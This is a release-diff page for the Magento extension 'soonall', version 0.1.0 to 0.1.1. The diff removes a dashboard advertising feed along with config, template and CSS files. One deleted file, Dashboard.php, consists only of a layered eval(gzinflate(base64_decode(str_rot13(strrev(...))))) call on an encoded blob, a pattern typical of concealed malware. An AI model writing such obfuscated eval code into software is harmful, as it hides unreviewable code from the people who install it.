soonall - Version 0.1.1

Version Notes

Removed intrusive dashboard advertising.

Download this release

Release Info

Developer Magento Core Team
Extension soonall
Version 0.1.1
Comparing to
See all releases


Code changes from version 0.1.0 to 0.1.1

app/code/community/Soon/All/Block/Adminhtml/Dashboard.php DELETED
@@ -1,13 +0,0 @@
1
- <?php
2
-
3
- /**
4
- * Agence Soon
5
- *
6
- * @category Soon Feed RSS
7
- * @package Soon_All
8
- * @copyright Copyright (c) 2011 Agence Soon. (http://www.agence-soon.fr)
9
- * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
10
- * @author Agence Soon
11
- */
12
-
13
- eval(gzinflate(base64_decode(str_rot13(strrev('=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')))));
app/code/community/Soon/All/etc/config.xml CHANGED
@@ -12,20 +12,9 @@
12
<config>
13
<modules>
14
<Soon_All>
15
- <version>0.1.0</version>
16
</Soon_All>
17
</modules>
18
- <admin>
19
- <routers>
20
- <soon_all>
21
- <use>admin</use>
22
- <args>
23
- <module>Soon_All</module>
24
- <frontName>soon_all</frontName>
25
- </args>
26
- </soon_all>
27
- </routers>
28
- </admin>
29
<adminhtml>
30
<layout>
31
<updates>
@@ -35,16 +24,4 @@
35
</updates>
36
</layout>
37
</adminhtml>
38
- <global>
39
- <blocks>
40
- <soon_all>
41
- <class>Soon_All_Block</class>
42
- </soon_all>
43
- <adminhtml>
44
- <rewrite>
45
- <dashboard>Soon_All_Block_Adminhtml_Dashboard</dashboard>
46
- </rewrite>
47
- </adminhtml>
48
- </blocks>
49
- </global>
50
</config>
12
<config>
13
<modules>
14
<Soon_All>
15
+ <version>0.1.1</version>
16
</Soon_All>
17
</modules>
18
<adminhtml>
19
<layout>
20
<updates>
24
</updates>
25
</layout>
26
</adminhtml>
27
</config>
app/code/community/Soon/All/etc/config.xml~ DELETED
@@ -1,27 +0,0 @@
1
- <?xml version="1.0"?>
2
- <!--
3
- /**
4
- * Agence Soon
5
- *
6
- *
7
- * @package Soon_All
8
- * @copyright Copyright (c) 2011 Agence Soon. (http://www.agence-soon.fr)
9
- * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)
10
- */
11
- -->
12
- <config>
13
- <modules>
14
- <Soon_All>
15
- <version>0.1.0</version>
16
- </Soon_All>
17
- </modules>
18
- <adminhtml>
19
- <layout>
20
- <updates>
21
- <soon_all module="Soon_All">
22
- <file>soon_all.xml</file>
23
- </soon_all>
24
- </updates>
25
- </layout>
26
- </adminhtml>
27
- </config>
app/code/community/Soon/All/etc/system.xml~ DELETED
@@ -1,20 +0,0 @@
1
- <?xml version="1.0"?>
2
- <!--
3
- /**
4
- * Agence Soon
5
- *
6
- * @package Soon_All
7
- * @copyright Copyright (c) 2011 Agence Soon. (http://www.agence-soon.fr)
8
- * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)
9
- * @author Hervé Guétin (herve.guetin@gmail.com)
10
- */
11
- -->
12
- <config>
13
- <tabs>
14
- <soon>
15
- <label><![CDATA[<strong class="soon-pink">So</strong><strong class="soon-blue">on</strong><div class="soon-link"><a href="http://www.agence-soon.fr" title="Agence Soon - Marketing Intéractif" target="_blank">http://www.agence-soon.fr</a></div>]]></label>
16
- <class>soon-tab</class>
17
- <sort_order>1000</sort_order>
18
- </soon>
19
- </tabs>
20
- </config>
app/design/adminhtml/default/default/template/soon/all/dashboard.phtml DELETED
@@ -1,136 +0,0 @@
1
- <?php
2
- /**
3
- * Agence Soon
4
- *
5
- *
6
- * @category design
7
- * @package Soon_All
8
- * @copyright Copyright (c) 2011 Agence Soon. (http://www.agence-soon.fr)
9
- * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)
10
- */
11
- ?>
12
- <?php if (is_array($this->getChild('diagrams')->getTabsIds())) : ?>
13
- <script type="text/javascript">
14
- //<![CDATA[
15
- function changeDiagramsPeriod(periodObj) {
16
- periodParam = periodObj.value ? 'period/' + periodObj.value + '/' : '';
17
- <?php foreach ($this->getChild('diagrams')->getTabsIds() as $tabId): ?>
18
- ajaxBlockParam = 'block/tab_<?php echo $tabId ?>/';
19
- ajaxBlockUrl = '<?php echo $this->getUrl('*/*/ajaxBlock', array('_current' => true, 'block' => '', 'period' => '')) ?>' + ajaxBlockParam + periodParam;
20
- new Ajax.Request(ajaxBlockUrl, {
21
- parameters: {isAjax: 'true', form_key: FORM_KEY},
22
- onSuccess: function(transport) {
23
- tabContentElementId = '<?php echo $this->getChild('diagrams')->getId() ?>_<?php echo $tabId ?>_content';
24
- try {
25
- if (transport.responseText.isJSON()) {
26
- var response = transport.responseText.evalJSON()
27
- if (response.error) {
28
- alert(response.message);
29
- }
30
- if(response.ajaxExpired && response.ajaxRedirect) {
31
- setLocation(response.ajaxRedirect);
32
- }
33
- } else {
34
- $(tabContentElementId).update(transport.responseText);
35
- }
36
- }
37
- catch (e) {
38
- $(tabContentElementId).update(transport.responseText);
39
- }
40
- }
41
- });
42
- <?php endforeach; ?>
43
- ajaxBlockUrl = '<?php echo $this->getUrl('*/*/ajaxBlock', array('_current' => true, 'block' => 'totals', 'period' => '')) ?>' + periodParam;
44
- new Ajax.Request(ajaxBlockUrl, {
45
- parameters: {isAjax: 'true', form_key: FORM_KEY},
46
- onSuccess: function(transport) {
47
- tabContentElementId = 'dashboard_diagram_totals';
48
- try {
49
- if (transport.responseText.isJSON()) {
50
- var response = transport.responseText.evalJSON()
51
- if (response.error) {
52
- alert(response.message);
53
- }
54
- if(response.ajaxExpired && response.ajaxRedirect) {
55
- setLocation(response.ajaxRedirect);
56
- }
57
- } else {
58
- $(tabContentElementId).replace(transport.responseText);
59
- }
60
- }
61
- catch (e) {
62
- $(tabContentElementId).replace(transport.responseText);
63
- }
64
- }
65
- });
66
- }
67
-
68
- function toggleCal(id) {
69
- $('dashboard_'+id+'_cal_div').toggle();
70
- $('dashboard_'+id+'_range_div').toggle();
71
- }
72
- //]]>
73
- </script>
74
- <?php endif; ?>
75
- <div class="content-header">
76
- <table cellspacing="0">
77
- <tr>
78
- <td><h3 class="head-dashboard"><?php echo $this->__('Dashboard') ?></h3></td>
79
- </tr>
80
- </table>
81
- </div>
82
- <div class="dashboard-container">
83
- <?php echo $this->getChildHtml('store_switcher') ?>
84
- <table cellspacing="25" width="100%">
85
- <tr>
86
- <td>
87
- <?php if($this->getXml()): ?>
88
- <div class="entry-edit">
89
- <div class="entry-edit-head"><h4 class="logo-soon"><?php echo $this->__('Soon') ?></h4></div>
90
- <fieldset class="feed-soon">
91
- <ul class="feed-soon-content">
92
- <?php $sizeFeed = 0 ?>
93
- <?php foreach($this->getXml() as $rss): $sizeFeed++; if($sizeFeed <= $this->getMaxFeed()): ?>
94
- <li>
95
- <h3><?php echo $rss->date ?> - <?php echo $rss->title ?></h3>
96
- <p><?php echo $this->cut_phrase($rss->description, 220) ?></p>
97
- <span class="link"><a href="<?php echo $rss->link ?>" target="_blank"><?php echo $this->__('Lire la suite') ?></a></span>
98
- </li>
99
- <li class="soon-separator clear"></li>
100
- <?php endif; endforeach; ?>
101
- </ul>
102
- </fieldset>
103
- </div>
104
- <?php endif ?>
105
- <?php echo $this->getChildHtml('sales') ?>
106
- <div class="entry-edit">
107
- <div class="entry-edit-head"><h4><?php echo $this->__('Last 5 Orders') ?></h4></div>
108
- <fieldset class="np"><?php echo $this->getChildHtml('lastOrders'); ?></fieldset>
109
- </div>
110
- <div class="entry-edit">
111
- <div class="entry-edit-head"><h4><?php echo $this->__('Last 5 Search Terms') ?></h4></div>
112
- <fieldset class="np"><?php echo $this->getChildHtml('lastSearches'); ?></fieldset>
113
- </div>
114
- <div class="entry-edit">
115
- <div class="entry-edit-head"><h4><?php echo $this->__('Top 5 Search Terms') ?></h4></div>
116
- <fieldset class="np"><?php echo $this->getChildHtml('topSearches'); ?></fieldset>
117
- </div>
118
- </td>
119
- <td>
120
- <div class="entry-edit" style="border:1px solid #ccc;">
121
- <?php echo $this->getChildHtml('diagrams') ?>
122
- <?php if (is_array($this->getChild('diagrams')->getTabsIds())) : ?>
123
- <div id="diagram_tab_content"></div>
124
- <?php endif; ?>
125
- <div style="margin:20px;">
126
- <?php echo $this->getChildHtml('totals') ?>
127
- </div>
128
- <div style="margin:20px;">
129
- <?php echo $this->getChildHtml('grids') ?>
130
- <div id="grid_tab_content"></div>
131
- </div>
132
- </div>
133
- </td>
134
- </tr>
135
- </table>
136
- </div>
package.xml CHANGED
@@ -1,18 +1,18 @@
1
<?xml version="1.0"?>
2
<package>
3
<name>soonall</name>
4
- <version>0.1.0</version>
5
<stability>stable</stability>
6
<license uri="http://opensource.org/licenses/AFL-3.0">AFL 3.0</license>
7
<channel>community</channel>
8
<extends/>
9
- <summary>Gestionnaire extensions Soon</summary>
10
- <description>Gestionnaire extensions Soon. Ce module est n&#xE9;cessaire au fonctionnement des modules mis &#xE0; disposition par Soon (www.agence-soon.fr)</description>
11
- <notes>n/a</notes>
12
- <authors><author><name>Soon</name><user>auto-converted</user><email>contact@agence-soon.fr</email></author></authors>
13
- <date>2011-12-26</date>
14
- <time>18:18:51</time>
15
- <contents><target name="magecommunity"><dir name="Soon"><dir name="All"><dir name="Block"><dir name="Adminhtml"><file name="Dashboard.php" hash="bf078bbf61b1a302c43891f974c3cb38"/></dir></dir><dir name="etc"><file name="config.xml" hash="206c26d2b57ad264f1b69367f6a259c0"/><file name="config.xml~" hash="2520d71a811ce1d33bc29abad8bff132"/><file name="system.xml" hash="7cd9ae33e29c8d1d9a337c7c96fa767a"/><file name="system.xml~" hash="3991222b490678ae0134bf4331e7c589"/></dir></dir></dir></target><target name="magedesign"><dir name="adminhtml"><dir name="default"><dir name="default"><dir name="layout"><file name="soon_all.xml" hash="388e50065de7040e9df3a443a13e260c"/></dir><dir name="template"><dir name="soon"><dir name="all"><file name="dashboard.phtml" hash="c206ab9f6257699ee0c157d500e9e652"/></dir></dir></dir></dir></dir></dir></target><target name="mageetc"><dir name="modules"><file name="Soon_All.xml" hash="df62e56b838579bbe134b02623a5afcf"/></dir></target><target name="mageskin"><dir name="adminhtml"><dir name="default"><dir name="default"><dir name="soon"><dir name="all"><dir name="css"><file name="styles.css" hash="ff4d6328d4cf14c65182a658426f45e1"/><file name="styles.css~" hash="aa90eeca09881d734a0bd4832862dcd5"/></dir><dir name="images"><file name="ext-link.gif" hash="ccdd2d79e678482700c4cd06c8493e05"/><file name="logo-dashboard.png" hash="dbdc25c2c57cf9de6bd7ccde2fbb4fdd"/></dir></dir></dir></dir></dir></dir></target></contents>
16
<compatible/>
17
<dependencies/>
18
</package>
1
<?xml version="1.0"?>
2
<package>
3
<name>soonall</name>
4
+ <version>0.1.1</version>
5
<stability>stable</stability>
6
<license uri="http://opensource.org/licenses/AFL-3.0">AFL 3.0</license>
7
<channel>community</channel>
8
<extends/>
9
+ <summary>Soon extensions manager</summary>
10
+ <description>Soon extensions manager</description>
11
+ <notes>Removed intrusive dashboard advertising.</notes>
12
+ <authors><author><name>Agence Soon</name><user>auto-converted</user><email>contact@agence-soon.fr</email></author></authors>
13
+ <date>2012-06-20</date>
14
+ <time>16:08:08</time>
15
+ <contents><target name="magecommunity"><dir name="Soon"><dir name="All"><dir name="etc"><file name="config.xml" hash="b15dd0829931927927671c9e74c5461f"/><file name="system.xml" hash="7cd9ae33e29c8d1d9a337c7c96fa767a"/></dir></dir></dir></target><target name="magedesign"><dir name="adminhtml"><dir name="default"><dir name="default"><dir name="layout"><file name="soon_all.xml" hash="388e50065de7040e9df3a443a13e260c"/></dir></dir></dir></dir></target><target name="mageetc"><dir name="modules"><file name="Soon_All.xml" hash="df62e56b838579bbe134b02623a5afcf"/></dir></target><target name="mageskin"><dir name="adminhtml"><dir name="default"><dir name="default"><dir name="soon"><dir name="all"><dir name="css"><file name="styles.css" hash="bf7c73ac4b30f18210260bee1b699c87"/></dir><dir name="images"><file name="ext-link.gif" hash="ccdd2d79e678482700c4cd06c8493e05"/></dir></dir></dir></dir></dir></dir></target></contents>
16
<compatible/>
17
<dependencies/>
18
</package>
skin/adminhtml/default/default/soon/all/css/styles.css CHANGED
@@ -10,13 +10,3 @@
10
.soon-tab dt .soon-blue { color: #19539d; }
11
.soon-tab dt .soon-link { display: inline; }
12
.soon-tab dt .soon-link a { display: block; float: right; width: 20px; background: url(../images/ext-link.gif) 0 4px no-repeat!important; text-indent: 9000px; white-space: nowrap; }
13
- .entry-edit .entry-edit-head h4.logo-soon { text-indent:-9999px; background:url(../images/logo-dashboard.png) no-repeat; width:80px; height:21px; margin:4px 0; }
14
- .feed-soon-content { height:120px; overflow-y:scroll; }
15
- .box, .entry-edit fieldset.feed-soon { padding:0; }
16
- .entry-edit fieldset li, .entry-edit .fieldset .feed-soon-content li { padding:0 5px 0 5px; margin:12px 0; }
17
- .feed-soon-content li.soon-separator { height:1px; display:block; margin:0 5px 0 5px; background:#b6cdd3; }
18
- .feed-soon-content h3 { color:#3f4962; font-size:12px; }
19
- .feed-soon-content p, .feed-soon-content h3 { margin-bottom:0; width:342px; }
20
- .feed-soon-content span.link a { float:right; }
21
- .clear { clear:both; }
22
- #order_history_block ul li { padding:0 0 0 18px; margin:4px 0; }
10
.soon-tab dt .soon-blue { color: #19539d; }
11
.soon-tab dt .soon-link { display: inline; }
12
.soon-tab dt .soon-link a { display: block; float: right; width: 20px; background: url(../images/ext-link.gif) 0 4px no-repeat!important; text-indent: 9000px; white-space: nowrap; }
skin/adminhtml/default/default/soon/all/css/styles.css~ DELETED
@@ -1,12 +0,0 @@
1
- /**
2
- * Agence Soon
3
- *
4
- * @category Soon
5
- * @package Soon_All
6
- * @copyright Copyright (c) 2011 Agence Soon. (http://www.agence-soon.fr)
7
- * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
8
- */
9
- .soon-tab dt .soon-pink { color: #e3007a; }
10
- .soon-tab dt .soon-blue { color: #19539d; }
11
- .soon-tab dt .soon-link { display: inline; }
12
- .soon-tab dt .soon-link a { display: block; float: right; width: 20px; background: url(../images/ext-link.gif) 0 4px no-repeat!important; text-indent: 9000px; white-space: nowrap; }
skin/adminhtml/default/default/soon/all/images/logo-dashboard.png DELETED
Binary file